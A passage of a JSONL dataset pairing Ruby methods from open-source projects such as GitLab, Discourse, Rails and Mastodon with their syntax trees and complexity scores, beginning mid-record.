"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_marker\"]}]},{\"type\":\"str\",\"children\":[\"(.*)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_marker\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Server did not respond in an expected way\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"6023a06d-b2b4-49c3-98d5-04a9a41d9988"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":1100,"raw_source":"def is_replying?(user, reply_to_user, quoted_users)\n    reply_to_user == user || quoted_users.include?(user)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_replying?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"reply_to_user\"]},{\"type\":\"arg\",\"children\":[\"quoted_users\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_to_user\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_users\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"5bf06c59-20e4-4351-8b2d-29e5d67c854c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/shared.rb","start_line":5,"raw_source":"def csv_email(user, project, csv_data, export_status, type)\n      @project = project\n      @count = export_status.fetch(:rows_expected)\n      @written_count = export_status.fetch(:rows_written)\n      @truncated = export_status.fetch(:truncated)\n      @size_limit = ActiveSupport::NumberHelper\n        .number_to_human_size(ExportCsv::BaseService::TARGET_FILESIZE)\n\n      filename = \"#{project.full_path.parameterize}_#{type}_#{Date.today.iso8601}.csv\"\n      attachments[filename] = { content: csv_data, mime_type: 'text/csv' }\n      email_with_layout(\n        to: user.notification_email_for(@project.group),\n        subject: subject(\"Exported #{type.humanize.downcase}\"))\n    end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"csv_data\"]},{\"type\":\"arg\",\"children\":[\"export_status\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_status\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"rows_expected\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@written_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_status\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"rows_written\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@truncated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_status\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"truncated\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@size_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExportCsv\"]},\"BaseService\"]},\"TARGET_FILESIZE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]},\"parameterize\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]},\"iso8601\"]}]},{\"type\":\"str\",\"children\":[\".csv\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachments\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"csv_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"email_with_layout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notification_email_for\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exported \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"humanize\"]},\"downcase\"]}]}]}]}]}]}]}]}]}","id":"ef8eece1-8a7e-452d-ba66-c4ac6944cd31"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/notifications/schedule_date_alerts_notifications_job/service.rb","start_line":52,"raw_source":"def time_zones_covering_1am_local_time\n    UserPreferences::UpdateContract\n      .assignable_time_zones\n      .select { |time_zone| executing_at_1am_for_timezone?(time_zone) }\n      .map { |time_zone| time_zone.tzinfo.canonical_zone.name }\n      .uniq\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"time_zones_covering_1am_local_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserPreferences\"]},\"UpdateContract\"]},\"assignable_time_zones\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_zone\"]}]},{\"type\":\"send\",\"children\":[null,\"executing_at_1am_for_timezone?\",{\"type\":\"lvar\",\"children\":[\"time_zone\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_zone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_zone\"]},\"tzinfo\"]},\"canonical_zone\"]},\"name\"]}]},\"uniq\"]}]}","id":"dfcfd380-e9b7-4054-aaca-5c1748d48b64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/audit_events/processor.rb","start_line":5,"raw_source":"def self.fetch(audit_event_id: nil, audit_event_json: nil, model_class: nil)\n      return fetch_from_json(audit_event_json) if audit_event_json.present?\n      return fetch_from_id(audit_event_id, model_class) if audit_event_id.present?\n\n      nil\n    rescue StandardError => e\n      ::Gitlab::ErrorTracking.track_exception(\n        e,\n        audit_event_id: audit_event_id,\n        model_class: model_class,\n        audit_event_json: audit_event_json&.truncate(100)\n      )\n      nil\n    end","complexity_score":12.28,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"audit_event_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"audit_event_json\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"model_class\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audit_event_json\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_from_json\",{\"type\":\"lvar\",\"children\":[\"audit_event_json\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audit_event_id\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_from_id\",{\"type\":\"lvar\",\"children\":[\"audit_event_id\"]},{\"type\":\"lvar\",\"children\":[\"model_class\"]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audit_event_id\"]},{\"type\":\"lvar\",\"children\":[\"audit_event_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_class\"]},{\"type\":\"lvar\",\"children\":[\"model_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audit_event_json\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audit_event_json\"]},\"truncate\",{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"b6dbf796-3280-4b12-aa81-938760dd3a1a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_any_holidays_during_work_week.rb","start_line":68,"raw_source":"def test_returns_false_when_informal_flag_set_but_observed_is_not_and_informal_holiday_is_observed_on_monday\n    assert_equal false, subject.call(Date.new(2008, 11, 30), :gb_sct, :informal)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_false_when_informal_flag_set_but_observed_is_not_and_informal_holiday_is_observed_on_monday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"sym\",\"children\":[\"gb_sct\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]}]}]}","id":"74b75eb4-b695-4269-b301-1876e0de90ed"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/report.rb","start_line":124,"raw_source":"def unresolved?\n    !action_taken?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unresolved?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_taken?\"]},\"!\"]}]}","id":"96b0f2c3-d464-4bb5-b620-3c557d6b4919"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/controller_processor.rb","start_line":172,"raw_source":"def set_layout_name\n    return if @current_class.layout\n\n    name = underscore(@current_class.name.to_s.split(\"::\")[-1].gsub(\"Controller\", ''))\n\n    #There is a layout for this Controller\n    if @app_tree.layout_exists?(name)\n      @current_class.layout = \"layouts/#{name}\"\n    end\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_layout_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_class\"]},\"layout\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"underscore\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_class\"]},\"name\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"Controller\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app_tree\"]},\"layout_exists?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_class\"]},\"layout=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"layouts/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},null]}]}]}","id":"e85131d1-e76f-4fa4-ab70-89406843dd7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/cross_project_reference.rb","start_line":16,"raw_source":"def parent_from_ref(ref)\n      return context[:project] || context[:group] unless ref\n      return context[:project] if context[:project]&.full_path == ref\n\n      if reference_cache.cache_loaded?\n        # optimization to reuse the parent_per_reference query information\n        reference_cache.parent_per_reference[ref || reference_cache.current_parent_path]\n      else\n        Project.find_by_full_path(ref)\n      end\n    end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_from_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"full_path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"cache_loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"parent_per_reference\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"current_parent_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_full_path\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]}","id":"d806e4a3-9473-4548-8993-340355d0cafb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/webpack/manifest.rb","start_line":8,"raw_source":"def initialize(message, orig)\n          super \"#{message}\\n\\n(original error #{orig.class.name}: #{orig})\"\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"orig\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n(original error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"6a5d677f-3f0c-468e-938b-3af0fe5b6830"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reserved_word_test.rb","start_line":111,"raw_source":"def test_has_and_belongs_to_many\n    create_test_fixtures :select, :distinct, :distinct_select\n    s = Distinct.find(1).selects\n    assert_equal 2, s.length\n    assert_equal [1, 2], s.collect(&:id).sort\n  end","complexity_score":12.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_and_belongs_to_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_test_fixtures\",{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"sym\",\"children\":[\"distinct\"]},{\"type\":\"sym\",\"children\":[\"distinct_select\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Distinct\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"selects\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]}]}]}]}","id":"3b5b66e2-b3a0-4e79-a333-1064592131d4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/purging_mixin.rb","start_line":70,"raw_source":"def purge_queue(mode, *values)\n      values = [nil] if values.empty?\n      MiqQueue.submit_job(\n        :class_name  => name,\n        :method_name => \"purge_by_#{mode}\",\n        :args        => values\n      )\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]},{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"submit_job\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"purge_by_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}","id":"7a1e5e5d-e6cc-4a0a-9f67-06a723817f9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/observers/query_details.rb","start_line":8,"raw_source":"def before\n            file_path = File.join(output_dir, \"query-details.json\")\n            @file = File.open(file_path, 'wb')\n            @writer = Oj::StreamWriter.new(@file, {})\n            @writer.push_array\n            @subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |*args|\n              record_sql_event(*args)\n            end\n          end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"before\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"output_dir\"]},{\"type\":\"str\",\"children\":[\"query-details.json\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@writer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"StreamWriter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@file\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writer\"]},\"push_array\"]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"sql.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"record_sql_event\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}]}","id":"1b7389d1-0eec-4af0-a803-2f2aecd50007"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/registry.rb","start_line":47,"raw_source":"def call(container, key)\n          with_tagged_logger(\"Adapters::Registry\") do\n            info \"Resolving #{key}\"\n            super\n          end\n        rescue Dry::Container::KeyError\n          error = Errors.registry_error_for(key)\n\n          with_tagged_logger(\"Adapters::Registry\") { error error.message }\n          raise error\n        end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\",{\"type\":\"str\",\"children\":[\"Adapters::Registry\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Resolving \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dry\"]},\"Container\"]},\"KeyError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"registry_error_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\",{\"type\":\"str\",\"children\":[\"Adapters::Registry\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},null]}]}","id":"2cb8e95b-16c3-4e91-8848-05d3b8bb5f5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/create_package_service.rb","start_line":65,"raw_source":"def add_build_info(package)\n      if params[:build].present?\n        package.build_infos.new(pipeline: params[:build].pipeline)\n      end\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_build_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"build_infos\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build\"]}]},\"pipeline\"]}]}]}]},null]}]}","id":"b3650877-ea3b-49b6-b9d5-4673fc642fb9"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":2006,"raw_source":"def test_different_coding_than_system; skip # encoding\n    assert_renders_encoded(<<HTML.encode(\"IBM866\"), <<HAML.encode(\"IBM866\"))\n<p>тАЬ</p>\nHTML\n%p тАЬ\nHAML\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_different_coding_than_system\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_renders_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<p>тАЬ</p>\\n\"]},\"encode\",{\"type\":\"str\",\"children\":[\"IBM866\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%p тАЬ\\n\"]},\"encode\",{\"type\":\"str\",\"children\":[\"IBM866\"]}]}]}]}]}","id":"8a20dac9-daf3-4111-b49f-fe67c4113d42"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/support/integration/adapters/delayed_job.rb","start_line":14,"raw_source":"def start_workers\n    @worker = Delayed::Worker.new(quiet: true, sleep_delay: 0.5, queues: %w(integration_tests))\n    @thread = Thread.new { @worker.start }\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"start_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@worker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Delayed\"]},\"Worker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_delay\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queues\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"integration_tests\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"start\"]}]}]}]}]}","id":"6fd12afc-c7d5-4a91-bd9c-f9270c6f2c8b"}
